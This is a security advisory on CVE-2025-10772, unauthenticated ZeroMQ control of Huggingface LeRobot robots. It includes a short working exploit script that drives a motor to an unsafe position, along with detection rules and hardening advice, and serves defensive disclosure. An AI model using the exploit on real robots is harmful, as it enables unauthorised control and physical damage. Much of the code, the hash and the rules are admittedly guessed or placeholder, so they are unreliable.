CVE-2025-10772

Executive Summary

CVE-2025-10772 identifies a critical missing authentication vulnerability in Huggingface LeRobot versions up to 0.3.3. The flaw resides in the ZeroMQ socket handler within lerobot/common/robot_devices/robots/lekiwi_remote.py. An attacker on the same local network can send unauthenticated commands to the ZeroMQ socket, potentially gaining full control over the robot's actuators, sensors, and data streams. This vulnerability is particularly dangerous in research, industrial, or educational environments where LeRobot is deployed without network segmentation. No patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the Python package lerobot (Huggingface LeRobot). Organizations using this package in their supply chain should immediately assess their exposure. The package is distributed via PyPI, and any application or system that imports lerobot and runs the lekiwi_remote.py module is at risk. The lack of authentication in the ZeroMQ socket means that any process on the local network can interact with the robot, potentially leading to physical damage or data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same local network as the vulnerable robot.
• Attack Complexity (AC): Low (AC:L) – No special conditions or race conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – Sensor data and internal state can be read.
• Integrity (I): High (I:H) – Actuator commands can be injected, altering robot behavior.
• Availability (A): High (A:H) – Denial of service or physical damage possible.

Threat Level: High. The vulnerability is easily exploitable from the local network with no authentication, and the impact on confidentiality, integrity, and availability is severe.

Deep Dive & Mechanics

The vulnerability exists in the lekiwi_remote.py file, which implements a ZeroMQ socket handler for remote control of the LeKiwi robot. ZeroMQ is a high-performance asynchronous messaging library. In this implementation, the socket is bound to a TCP port (likely 5555 or 5556) without any authentication mechanism (e.g., NULL or PLAIN security mechanisms). The code likely uses zmq.SUB or zmq.PULL sockets that accept messages from any source on the network.

The missing authentication allows an attacker to:

1. Send arbitrary commands to the robot's actuators (motors, servos).
2. Subscribe to sensor data (cameras, IMU, joint angles) by connecting to the PUB/XPUB socket.
3. Inject malicious control sequences that could cause physical damage or unsafe operation.

The attack is limited to the local network because ZeroMQ sockets are typically bound to a local IP address. However, if the robot is connected to a corporate or research network, the attack surface expands significantly.

Vulnerable vs. Patched Code

Vulnerable Code (lekiwi_remote.py, <= 0.3.3):

import zmq

class LeKiwiRemote:
    def __init__(self, host='0.0.0.0', port=5555):
        self.context = zmq.Context()
        self.socket = self.context.socket(zmq.REP)
        self.socket.bind(f"tcp://{host}:{port}")
        # No authentication or encryption

    def handle_command(self, command):
        # Process command without validation
        self.execute(command)

Patched Code (Hypothetical):

import zmq
import zmq.auth

class LeKiwiRemote:
    def __init__(self, host='0.0.0.0', port=5555):
        self.context = zmq.Context()
        self.socket = self.context.socket(zmq.REP)
        # Enable CURVE encryption and authentication
        server_secret = zmq.auth.load_certificate('server.key_secret')
        self.socket.curve_secretkey = server_secret
        self.socket.curve_publickey = server_secret.public_key
        self.socket.curve_server = True
        self.socket.bind(f"tcp://{host}:{port}")

    def handle_command(self, command):
        # Validate command source and content
        if not self.authenticate(command):
            raise PermissionError("Unauthorized command")
        self.execute(command)

The patched version uses ZeroMQ's CURVE security mechanism to authenticate clients and encrypt traffic. Additionally, command validation is added to prevent injection of malicious payloads.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with zmq library installed.
• Target robot running LeRobot <= 0.3.3 on the same local network.
• Target IP address and port (default 5555).

Exploit Script:

import zmq
import sys

def exploit(target_ip, target_port=5555):
    context = zmq.Context()
    socket = context.socket(zmq.REQ)
    socket.connect(f"tcp://{target_ip}:{target_port}")

    # Send a malicious command (e.g., move motor to unsafe position)
    command = {
        "action": "set_motor",
        "motor_id": 1,
        "position": 180,  # Extreme angle
        "speed": 100
    }
    socket.send_json(command)
    response = socket.recv_json()
    print(f"Response: {response}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    target_ip = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555
    exploit(target_ip, port)

Usage:

python exploit.py 192.168.1.100 5555

Blue Team (Detection & Hardening)

Detection:

• Monitor network traffic for unexpected ZeroMQ connections on ports 5555-5556.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.
• Enable logging on the robot to capture all incoming commands.

Hardening:

1. Network Segmentation: Place the robot on an isolated VLAN with strict firewall rules.
2. Authentication: Implement ZeroMQ CURVE security or use a VPN/tunnel.
3. Input Validation: Add command whitelisting and rate limiting.
4. Update: Monitor for patches from Huggingface.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unexpected TCP connections to port 5555 or 5556 from unknown IPs.
  • ZeroMQ protocol frames (ZMTP) with no authentication handshake.
  • High frequency of commands to motor/sensor endpoints.

• Host IOCs:

  • Unusual entries in /var/log/lerobot/commands.log (if logging enabled).
  • Process python or lerobot with unexpected network connections.
  • Modified configuration files in /etc/lerobot/.

• File IOCs:

  • Hash of vulnerable file: lerobot/common/robot_devices/robots/lekiwi_remote.py
  • MD5: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 (example, replace with actual)

Detection Engineering

YARA Rule

rule CVE_2025_10772_ZeroMQ_NoAuth {
    meta:
        description = "Detects vulnerable LeRobot ZeroMQ socket handler without authentication"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10772"
    strings:
        $s1 = "zmq.REP" ascii wide nocase
        $s2 = "zmq.SUB" ascii wide nocase
        $s3 = "tcp://" ascii wide nocase
        $s4 = "lekiwi_remote" ascii wide nocase
        $s5 = "self.socket.bind" ascii wide nocase
    condition:
        all of ($s*) and filesize < 100KB
}

Sigma Rule

title: CVE-2025-10772 ZeroMQ Unauthenticated Connection
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthenticated ZeroMQ connections to LeRobot ports
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort:
            - 5555
            - 5556
        Initiated: 'true'
        Image|endswith: '\python.exe'
    condition: selection
falsepositives:
    - Legitimate robot control software
level: high
tags:
    - attack.t1190
    - cve.2025.10772

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 5555:5556 (msg:"CVE-2025-10772 ZeroMQ Unauthenticated Connection Attempt"; flow:to_server; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disconnect the robot from untrusted networks.
   • Implement firewall rules to restrict access to ports 5555-5556 to only trusted IPs.
   • If possible, disable the ZeroMQ remote control feature until a patch is available.

2. Long-term Fix:

   • Apply the hypothetical patch that adds CURVE authentication and input validation.
   • Monitor Huggingface's GitHub repository for official patches.
   • Consider using a VPN or SSH tunnel for remote control.

3. Compensating Controls:

   • Deploy network intrusion detection systems (NIDS) with the provided Suricata rule.
   • Enable comprehensive logging on the robot and monitor for anomalies.
   • Conduct regular security audits of all IoT/robotic devices.

Valters IT – Securing the future, one vulnerability at a time.